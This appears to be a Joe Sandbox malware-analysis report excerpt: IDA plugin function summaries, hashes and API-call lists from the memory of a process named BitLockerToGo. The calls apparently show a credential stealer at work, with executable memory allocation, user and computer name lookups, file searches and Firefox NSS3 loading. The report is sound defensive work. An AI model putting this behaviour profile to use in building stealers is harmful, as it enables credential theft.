Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: c63ade9a1f6d75e0df309664c3b53976ab64515ec9dcd81c9731303376639316
Instruction ID: d0c40b4dc9e19cf3a5df98359c918f4419b1557a601d0ce32ba1e2eda01aea20
Opcode Fuzzy Hash: c63ade9a1f6d75e0df309664c3b53976ab64515ec9dcd81c9731303376639316
Instruction Fuzzy Hash: 0541F6B79442046BDB55FBA4EC4AEFD733EE749300F408908B94A57144ED715BA88FE2

Function 02756660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(02756DBE,02756DBE,00003000,00000040), ref: 02756706
VirtualAlloc.KERNEL32(00000000,02756DBE,00003000,00000040), ref: 02756753

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8a9b7eb1efcae79cd886dc5669396b42556e80ec6966f47ecb53ae172ff216a5
Instruction ID: ec41fe701991a9a3bef697d0c439e7485f10a091c3a72d5b5a756d80b4aa94ce
Opcode Fuzzy Hash: 8a9b7eb1efcae79cd886dc5669396b42556e80ec6966f47ecb53ae172ff216a5
Instruction Fuzzy Hash: DB41E374A00209EFDB44CF98C494BADFBB5FF48314F5486A9E809AB341C771EA81CB84

Function 02765050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 02768DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 02768E0B

lstrcat.KERNEL32(?,00000000), ref: 0276508A
lstrcat.KERNEL32(?,029E5E00), ref: 027650A8

Part of subcall function 02764910: wsprintfA.USER32 ref: 0276492C
Part of subcall function 02764910: FindFirstFileA.KERNEL32(?,?), ref: 02764943

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 63f9a40d306d47b750f064b7cf13429a8f7ab3b8ef7cfb20c756a8c61e501cce
Instruction ID: c0f5ee22bb1782d90c50893cd6619889c4b4d5071ca5e88e66e38e81cf99ebaa
Opcode Fuzzy Hash: 63f9a40d306d47b750f064b7cf13429a8f7ab3b8ef7cfb20c756a8c61e501cce
Instruction Fuzzy Hash: CC01967694421867CB65FB74DC4DEFE737DEB14300F004555BA4A56180EE709A988FE2

Function 027510A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0275114E,?,?,02766A1C), ref: 027510B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0275114E,?,?,02766A1C), ref: 027510F7

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 8f48bb74cdbc2fcb595a522b04ab28b09effa21fc8551e4893e36d5fee153989
Instruction ID: 6e16ff9bb45d2884b11b6673639434989f3b7d10d4167c6eebe5653754c168aa
Opcode Fuzzy Hash: 8f48bb74cdbc2fcb595a522b04ab28b09effa21fc8551e4893e36d5fee153989
Instruction Fuzzy Hash: 67F0E971A81314BBE71496A89C5DFBAF7DCD705719F300844F908E3280D5715E00CA90

Function 02768D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,02760117,?,00000000,?,00000000,02770DAB,02770DAA), ref: 02768D9F

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: bc3d989f017d70d4bcd16ecb006a592d23656083811cb42f675594a25193e2d0
Instruction ID: 1a5ac3e54cb787bab26d30ce130c92233f53c2e776bd78af8c36af65ea5fea83
Opcode Fuzzy Hash: bc3d989f017d70d4bcd16ecb006a592d23656083811cb42f675594a25193e2d0
Instruction Fuzzy Hash: E3F01574C00208EBCB00EFA5D54D6ECBB74EF14310F108199DC2667380DB755A59CF81

Function 02768DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 02768E0B

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 9e95dfad70f0f2085307d5eaa89947144079090d8800a15aef5a375e65c6f2a5
Instruction ID: 4ffcb4c15b35051d73a2b9f91b1896ad4325c798f5b43a7855804b94ed3d88b2
Opcode Fuzzy Hash: 9e95dfad70f0f2085307d5eaa89947144079090d8800a15aef5a375e65c6f2a5
Instruction Fuzzy Hash: 41E01A31A4034C6BDB91EB94CC9AFAE737DDB44B11F004295BA0C5A1C0DA70AB8A8F91

Function 02751190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 027678E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,02766A2B), ref: 02767910
Part of subcall function 027678E0: RtlAllocateHeap.NTDLL(00000000), ref: 02767917
Part of subcall function 027678E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0276792F

Part of subcall function 02767850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,027511B7), ref: 02767880
Part of subcall function 02767850: RtlAllocateHeap.NTDLL(00000000), ref: 02767887
Part of subcall function 02767850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0276789F

ExitProcess.KERNEL32 ref: 027511C6

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: b624ba79b7259cd690260561845707ecf8edcb407729a5aea9d79ac1cdae2b7b
Instruction ID: f43d3a9c87318e28db9f634959e214e3aa07867616c2c2ec519a55a4c4267ecb
Opcode Fuzzy Hash: b624ba79b7259cd690260561845707ecf8edcb407729a5aea9d79ac1cdae2b7b
Instruction Fuzzy Hash: F3E012B5D5430253DA0573B4EC0EB3A729DDB0429EF440C24ED09D2201FE66E814C96A

Function 02759880 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000020,02760759,?,?), ref: 02759888

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 76cd6171d94a53e167778c3c59c728786716fa4696954eb3a36fc164d70256d8
Instruction ID: f4b9a8120da9012ab1341e7c2fbc78aceebae089239100bf9a931aac5af7d617
Opcode Fuzzy Hash: 76cd6171d94a53e167778c3c59c728786716fa4696954eb3a36fc164d70256d8
Instruction Fuzzy Hash: 51F0F4B5D40208FBDB00EFA4D94AB9DB7B8EB04300F148595EE15A7281E675AB14CB91

Non-executed Functions

Function 6C926E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CA72120,6C927E60), ref: 6C926EBC
TlsGetValue.KERNEL32 ref: 6C926EDF
EnterCriticalSection.KERNEL32(?), ref: 6C926EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C926F25

Part of subcall function 6C8FA900: TlsGetValue.KERNEL32(00000000,?,6CA714E4,?,6C894DD9), ref: 6C8FA90F
Part of subcall function 6C8FA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C8FA94F

PR_Unlock.NSS3 ref: 6C926F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C926FA9
TlsGetValue.KERNEL32 ref: 6C9270B4
EnterCriticalSection.KERNEL32(?), ref: 6C9270C8
PR_CallOnce.NSS3(6CA724C0,6C967590), ref: 6C927104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C927117
SECOID_Init.NSS3 ref: 6C927128
PORT_Alloc_Util.NSS3(00000057), ref: 6C92714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C92717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9271A9
PR_NotifyAllCondVar.NSS3 ref: 6C9271CF
PR_Unlock.NSS3 ref: 6C9271DD
free.MOZGLUE(?), ref: 6C9271EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C927208
free.MOZGLUE(00000000), ref: 6C927221
free.MOZGLUE(00000001), ref: 6C927235
TlsGetValue.KERNEL32 ref: 6C92724A
EnterCriticalSection.KERNEL32(?), ref: 6C92725E
PR_NotifyCondVar.NSS3 ref: 6C927273
PR_Unlock.NSS3 ref: 6C927281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C927291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9272B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9272D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9272E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C927301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C927310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C927335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C927344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C927363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C927372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6CA60148,,defaultModDB,internalKeySlot), ref: 6C9274CC
free.MOZGLUE(00000000), ref: 6C927513
free.MOZGLUE(00000000), ref: 6C92751B
free.MOZGLUE(00000000), ref: 6C927528
free.MOZGLUE(00000000), ref: 6C92753C
free.MOZGLUE(00000000), ref: 6C927550
free.MOZGLUE(00000000), ref: 6C927561
free.MOZGLUE(00000000), ref: 6C927572
free.MOZGLUE(00000000), ref: 6C927583
free.MOZGLUE(00000000), ref: 6C927594
free.MOZGLUE(00000000), ref: 6C9275A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C9275BD
free.MOZGLUE(00000000), ref: 6C9275C8
free.MOZGLUE(00000000), ref: 6C9275F1
PR_NewLock.NSS3 ref: 6C927636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C927686
PR_NewLock.NSS3 ref: 6C9276A2

Part of subcall function 6C9D98D0: calloc.MOZGLUE(00000001,00000084,6C900936,00000001,?,6C90102C), ref: 6C9D98E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C9276B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C927707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C92771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C927731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C92774A
DeleteCriticalSection.KERNEL32(?), ref: 6C927770
free.MOZGLUE(?), ref: 6C927779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C92779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9277AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C9277C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C9277DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C927821
PORT_Alloc_Util.NSS3(?), ref: 6C927837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C92785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C92786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C9278AC
free.MOZGLUE(00000000), ref: 6C9278BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C9278F3
free.MOZGLUE(00000000), ref: 6C9278FC
free.MOZGLUE(00000000), ref: 6C92791C

Part of subcall function 6C9007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C89204A), ref: 6C9007AD
Part of subcall function 6C9007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C89204A), ref: 6C9007CD
Part of subcall function 6C9007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C89204A), ref: 6C9007D6
Part of subcall function 6C9007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C89204A), ref: 6C9007E4
Part of subcall function 6C9007A0: TlsSetValue.KERNEL32(00000000,?,6C89204A), ref: 6C900864
Part of subcall function 6C9007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C900880
Part of subcall function 6C9007A0: TlsSetValue.KERNEL32(00000000,?,?,6C89204A), ref: 6C9008CB
Part of subcall function 6C9007A0: TlsGetValue.KERNEL32(?,?,6C89204A), ref: 6C9008D7
Part of subcall function 6C9007A0: TlsGetValue.KERNEL32(?,?,6C89204A), ref: 6C9008FB

Strings

kbi., xrefs: 6C927886
dll, xrefs: 6C92788E
extern:, xrefs: 6C92772B
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C9274C7
sql:, xrefs: 6C9276FE
NSS Internal Module, xrefs: 6C9274A2, 6C9274C6
dbm:, xrefs: 6C927716
rdb:, xrefs: 6C927744
Spac, xrefs: 6C927389
,defaultModDB,internalKeySlot, xrefs: 6C92748D, 6C9274AA

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

